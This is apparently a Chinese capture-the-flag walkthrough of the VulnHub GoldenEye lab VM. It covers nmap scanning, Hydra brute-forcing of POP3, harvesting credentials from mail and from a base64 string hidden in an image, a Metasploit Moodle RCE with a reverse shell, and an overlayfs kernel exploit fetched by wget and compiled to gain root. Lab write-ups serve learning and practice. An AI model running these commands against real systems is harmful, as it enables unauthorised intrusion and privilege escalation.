先用nmap把部署再VM里的靶机ip扫出来
nmap -sn 192.168.199.1-254
(我的靶机网络设置为net,子网ip为192.168.199.0)

靶机ip为192.168.199.133
端口扫描
nmap -p- 192.168.199.133

这里55006和55007是pop3的端口
浏览器访问

提示访问http://192.168.199.133/sev-home/去登录

我已经登陆过,所以保存了账号密码
F12查看网页源码

看一下这个js文件

得到了账号和密码
这里注意,用户名是小写的,密码需要解密

用户名:boris 密码:InvincibleHack3r
登录得到

翻译一下

F12看一下源码

这里得到了两个用户名Natalya Boris
端口扫描就扫出了两个非常高的端口,55006和55007
分别访问后发现,只有55007能够访问

通过Hydra 暴力破解 pop3 服务,把得到的用户名和kali的fasttrack.txt 词表结合对密码进行破解
hydra -l boris -P /usr/share/wordlists/fasttrack.txt -f 192.168.199.133 -s 55007 pop3
hydra -l natalya -P /usr/share/wordlists/fasttrack.txt -f 192.168.199.133 -s 55007 pop3


然后通过nc去连接pop3服务,通过账号密码登录邮件服务
USER boris//输入用户名
PASS secret1!//输入密码
list//列出邮件

通过retr命令查看邮件
在natalya的第二封邮件里发现了一些信息

- 用户名:xenia
- 密码:RCP90rulez!
- 域名:severnaya-station.com
- 网址:severnaya-station.com/gnocertdir
还需要修改linux的/etc/hosts文件,绑定域名
这里将本机靶机的ip和域名进行绑定
gedit /etc/hosts

访问http://severnaya-station.com/gnocertdir/

根据得到的用户名和密码进行登录


在一短信中发现有提到用户名

用Hydra 暴力破解一下密码
hydra -l doak -P /usr/share/wordlists/fasttrack.txt -f 192.168.199.133 -s 55007 pop3

密码:goat
在次nc连接pop3

拿到用户名和密码
username: dr_doak
password: 4England!
再次登录http://severnaya-station.com/gnocertdir/
在旁边的文件夹里发现一个txt文件

下载下来打开发现一个一个图片的地址

访问一下

直接看图片看不出来什么,把图片下载下来

发现了一串base64加密的文本

解码得到xWinter1995x!
管理员用户名:admin 密码:xWinter1995x!
再次登录http://severnaya-station.com/gnocertdir/ 以管理员的身份

看到Moodle的版本是2.2.3
使用msf进行getshell
msfconsole ---进入MSF框架攻击界面
search moodle ---查找 moodle类型 攻击的模块
use 1 ---调用1 exploit/multi/http/moodle_spelling_binary_rce调用攻击脚本
set username admin ---设置用户名:admin
set password xWinter1995x! ---设置密码:xWinter1995x!
set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir ---设置目录: /gnocertdir
set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
set lhost 192.168.199.128 ---设置:lhost ip
exploit ----执行命令

这是执行失败是因为没有开启PSpellShell
我们用管理员账户开启PSpellShell

再次执行命令

出错了,发现是ip设置错了,修改ip后,再次执行

拿到shell
执行tty


python反弹shell

将代码替换到Path to aspell,ip为本地ip
先监听在10086端口

再在下图处进行反弹shell

再次执行tty


uname -a查看权限

搜索linux ubuntu 3.13.0-32 exploit 找到exp Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit (exploit-db.com)
searchsploit 37292 搜索本地的exp

cp /usr/share/exploitdb/exploits/linux/local/37292.c /root/桌面
将exp复制到桌面
靶机没有gcc

但是存在 cc 环境需要改下脚本为 cc
gedit 37292.c

然后在本地目录下开启 http 服务
python -m http.server 8081

先通过 wget 下载文件到靶机
wget http://192.168.199.128:8081/37292.c

编译 cc -o exp 37292.c

添加执行权限 chmod +x exp
执行 ./exp

查看当前权限 id

读flag cat /root/.flag.txt

flag 568628e0d993b1973adc718237da6e93
参考文档
Vulnhub——1-GoldenEye复现 - FreeBuf网络安全行业门户
Comments NOTHING